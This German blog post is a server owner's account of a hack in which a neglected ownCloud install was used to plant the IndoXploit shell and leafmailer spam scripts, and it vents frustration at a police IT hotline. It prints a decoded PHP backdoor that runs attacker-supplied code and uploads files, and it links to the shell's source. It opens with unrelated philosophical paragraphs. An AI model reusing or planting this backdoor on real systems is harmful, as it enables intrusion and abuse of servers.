Nun ist es aber so, dass es zwei vollständig identische Alternativen gar nicht gibt. Zwei vollständig identische Alternativen würde bedingen, dass weder Zeit noch Ort verändert werden dürften. Alleine die Sonne bewegt sich mit circa 250 Kilometern pro Sekunde um das Zentrum der Milchstraße. Aber die Milchstraße als Galaxie entfernt sich von der nächsten lokalen Gruppe mit circa 60 km pro Sekunde. Jeder hat sich in einer Millisekunde mindestens 250 m von seinem Ort im Universum entfernt ohne irgendetwas getan zu haben. Wir könnten natürlich auch versuchen die Zeit anzuhalten, aber auch das wird uns nicht gelingen. All unsere Experimente sind dieser Bewegung unterworfen und wir können nur festhalten, was innerhalb dieser Bewegung gleich bleibt. Da scheint doch die menschliche Entscheidung, eine Kaffeetasse abzusetzen oder nicht, doch recht bedeutungslos.

Wir betrachten Wissen nur dann als Wissen, wenn es trotz dieser ständigen Änderungen, denen wir zwangsweise unterliegen, das Wissen sich nicht ändert. Genauso wie Buchstaben keine Buchstaben mehr wären, wenn sich die Regeln ihres Gebrauches sich sekündlich ändern würden. Die Begriffe wie Kaffeetasse bilden sich in der Zeit und überwinden dann die Zeit. In der Konstanz liegt letztlich das Verstehen und nicht in der Beliebigkeit. Unsere Freiheit ist nie beliebig, denn dann wäre auch Freiheit begriffslos.

Aber gerade das Wissen zeigt, dass damit nicht zu verstehen ist, dass etwas unveränderlich wäre. Überwunden wird das alte Wissen nicht dadurch, dass das Alte weggeworfen würde. Neues Wissen zeigt sich dadurch, dass das alte Wissen integriert wird. Die Freiheit etwas Neues zu entdecken, hat nur der, der das Alte kennt.

Dieser Server hier wurde also gehackt und zum Spammen missbraucht. Genauer gesagt es lag hier auf dem Server eine owncloud-Instanz rum, die phpunit als Modul installiert hatte und die Sicherheitslücke dieser zugegebenermaßen ungepflegten und ungewarteten darüber hinaus ungenutzten Instanz wurde gehackt und Code eingeschleust.


In den Logs kann man dann mit der Suche nach „Punkt n.php Fragezeichendir=“ (so geschrieben weil witzigerweise modsecurity hier das Update des Postings blockt, warum der Eindringling es dann trotzdem hochladen konnte, ist für mich noch ein Rätsel) dann sehen wo sich der Angreifer überall rumgegtrieben hat. Wie das Anlegen der tbmailer.php unter WordPress ging es wohl von Anfang an darum Spamsoftware zu installieren. Die tbmailer.php existierte auf jeden Fall schon am ersten August wurde aber nicht zum Spammen verwendet. Vielleicht funktionierte sie nicht so wie gewünscht.

Der Angreifer hätte auch alles von diesem Server löschen können, wenn er gewollt hätte oder lustige Bildchen hinterlassen mit „Dieser Server wurde gehackt„. Aber man bewegte sich unauffällig. An einem Tag hier ein bisschen und einem anderen Tag da ein bisschen. Am 3.8.2019 schlug man dann mit einer leafmailer.php in .well-known zu und jagte über 2 Tage so ungefähr 12.000 Spammails raus.

Installiert wurde die Datei von einer indonesischen Mobilfunkip aus. Der Angriff wäre nicht so nachvollziehbar, wenn der Angreifer die Logdateien gelöscht hätte. Möglich wäre ihm das gewesen, da der Apache auch Zugriff auf die Logs hat. Vielleicht hätte man das ja später auch getan und ist vielleicht nur schneller aufgeflogen als die Angreifer gedacht haben.

Ein bisschen ist ja mein Server wie ein Honeypot eine Ägyptische IP schaute sich eine config.php im Stammverzeichnis an. Die lag da von einer phpgedview-Installation unkonfiguriert rum und ich hatte sie nie gelöscht. Von aussen ist die auch über https://bgeserver.de/config.php erreichbar. Aber über IndoXploit sieht man natürlich dann auch den Quelltext der Datei. Wäre sie konfiguriert gewesen, wäre darin ein Mysql-Passwort zu finden gewesen. Genauso erging es ihm mit einem unkonfigurierten Roundcube, dass da so rum lag. Eine amerikanische IP machte sich dann über wordpress her allerdings betrachtete er sich auch die config.php im Stammverzeichnis.

Logeinträge wie

„Undefined index: act in „…“ on line 1739, referer: „…“idx_config&do=cpanel“

zeigen, dass auch nach einem Webserverkonfigurationsinterface gesucht wurde. Hat dieser Server nicht, ich mache alles mit ssh.

Weit verstreut auf dem Server befand sich danach ein haccess.php. Der Code dieser Datei war in base64 dekodiert und das entschlüsselte Ergebnis auch nochmal in base64 – das dann nochmal entschlüsselt ergab dann:

error_reporting(0); ${„GLOBALS“}[„dxpggwemd“]=“ev“;$kiejpi=“ev“;$imivhcblfl=“in“;$hgrptjcx=“in“;${„GLOBALS“}[„ysfombthhq“]=“in“;${$imivhcblfl}=$_GET[„in“];if(isset(${${„GLOBALS“}[„ysfombthhq“]})&&!empty(${$hgrptjcx})){echodie(include_once $in);}${$kiejpi}=$_GET[„ev“];if(isset(${${„GLOBALS“}[„dxpggwemd“]})&&!empty(${${„GLOBALS“}[„dxpggwemd“]})){eval(base64_decode(${${„GLOBALS“}[„dxpggwemd“]}));exit;}if($_GET[„send“]==“ok“){echo“<form action=\“\“ method=“post\“ enctype=\“multipart/form-data“ name=\“country“ id=\“country“><input type=“file“ name=“file\“ size=“50\“><input name=“_con“ type=\“submit“ id=“_con“ value=\“home“></form> „;if($_POST[„_con“]==“home“){if(@copy($_FILES[„file“][„tmp_name“],$_FILES[„file“][„name“])){echo“done :d“;}else{echo“error“;}}exit;}

Wenn ich den Code richtig kapiere lassen sich damit dann beliebige Dateien auf den Server nachladen. 

Owncloud hatte ich Anfang 2016 auf dem Server für das Bündnis Grundeinkommen mal installiert, war aber als Arbeitsplattform irgendwie untauglich. Ich hätte das damals wieder löschen sollen, statt einfach ungewartet auf der Platte rumliegen zu lassen. Jetzt ist es gelöscht. 

Am meisten nervt mich wahrscheinlich, das ich nicht ganz rausgefunden habe, wann und wie genau sie reingekommen sind. Sowas

\x16\x03\x01\x00\x7F\x01\x00\x00{\x03\x03\x98\x83\x17\xE2\x08z&\x0F\x11\x12a\xA3\xB3\xAA9\xBD(7\x8E\xA5\xA9\xCE\xC9\xCD\xC8\xEB\x96\xA8\xF9\x06\xC0\xA5\x00\x00\x1C\xC0/\xC0+\xC00\xC0,\xC0\x13\xC0\x09\xC0\x14\xC0

bekomme ich zumindest nicht sinnvoll dekodiert.

Nebenbei habe ich dann noch erfahren, dass es eine IT-Hotline für Notfälle von der bayerischen Polizei seit dem 1.8.2019 unter der 089/1212-4400 gibt. Habe dort nachdem ich mich auf Twitter über den Hack ausgekotzt hatte und die Polizei München mir diese Nummer empfahl tatsächlich angerufen.

VERGESST DIE NUMMER WIEDER DIE TAUGT NIX.

Nach einer Ansage für was sie alles nicht zuständig sind und 5 Minuten gedudel ich glaube es war Mozart oder Vivaldi hatte ich so einen „Fachmann“ am Apparat. Ich glaube, der hat kein Wort verstanden, was mein Problem ist. Sein Rat war doch tatsächlich ich solle den Rechner zur Polizeidienststelle bringen. Mal abgesehen davon, dass das hier gar kein Rechner ist, sondern eine virtuelle Maschine im Internet, besteht der Notfall ja darin den Spammer dahingehend zu stoppen, dass er keinen Spam mehr über diese Maschine schickt. Als ich dort anrief hatte ich die tbmailer.php unter WordPress noch gar nicht entdeckt. Den Spam über leafmailer.php hatte ich ja bereits gestoppt. Ich Naivling dachte mir „Oh toll, die Polizei hat für solche Fälle jetzt eine Notfall Hotline und kann Tipps geben, was man schauen sollte.“ Pustekuchen!

Das die Eindringling IndoXploit verwenden wusste ich zum Zeitpunkt meines Anrufes bereits und dass der Spam über leafmailer.php eingesteuert wurde auch. Aber für die IT-Notfall-Hotline war das alles spanische Dörfer. Der wusst noch nicht mal was Owncloud ist, mit der Bemerkung, dass man ja nicht jeden Trojaner kennen könne. Autsch – ausgerechnet, das was kein Trojaner war, sondern die befallene Software bezeichnete er als Trojaner. Das richtig gefährliche Zeug wie die Backdoorshell IndoXploit war ihm ebenso unbekannt wie leafmailer.php. Wahrscheinlich dürfen die in der Behörde kein Google benutzen. Der erste Link bei der Suche nach leafmailer.php wirft das https://github.com/bediger4000/php-malware-analysis/tree/master/leafmailer aus. Und einmal IndoXploit eingeben und man landet beim Sourcecode https://github.com/linuxsec/indoxploit-shell

Der Anruf war also eher was zum Lachen oder Weinen, aber auf keinen Fall eine Hilfe. Nachdem ich ihm erklärt hatte, dass das mit dem Rechner zur Polizei bringen nicht ist, weil das kein phyiskalischer Rechner ist. Fasselte er was ich solle zur Polizeidienststelle gehen und dann halt dort Zugriff auf den Rechner im Netz geben. Dann erklärte ich ihm, dass quasi die Polizeidienststelle ihn empfohlen hätte https://twitter.com/PolizeiMuenchen/status/1159035915081310208

Er erklärte mir dann, dass die Polizeidienststelle die Hotline wohl falsch verstanden hätte. Nun gut ich kann es der Polizei nicht verübeln, denn den Tweet den sie zitierte sagte vom Bayerischen Landeskriminalamt:

Hotline der Bayerischen Polizei für IT-Notfälle:
089/1212-4400
Hilfe bei Internet-/Computerkriminalität, z.B.
Phishing-Mails
Passwort-Hacking
Schadsoftware

Und jetzt überlegt Euch, was obiger Fall mit dem leafmailer.php eigentlich ist

Große Sprüche über Twitter raushauen, aber eigentlich gar nicht liefern können. Als ich ihm noch erklärte, dass der Täter aus Indonesien eingebrochen ist und die Münchner Polizei da wohl etwas machtlos sei, war das Gespräch eigentlich zu Ende.

Er meinte noch, ich könnte den Schaden ja anzeigen. Danke verzichte, wenn ich den Rechner dann zur Polizeidienststelle tragen muss – möglicherweise das ganze Rechenzentrum – mein Provider killt mich, wenn ich das täte.

Fazit lasst keine alte ungepflegte Software rumliegen und habe einen Blick auf die CVEs und vergesst die deutsche Polizei bei Internetkriminalität, die haben immer noch null Ahnung. Es ist ein Trauerspiel.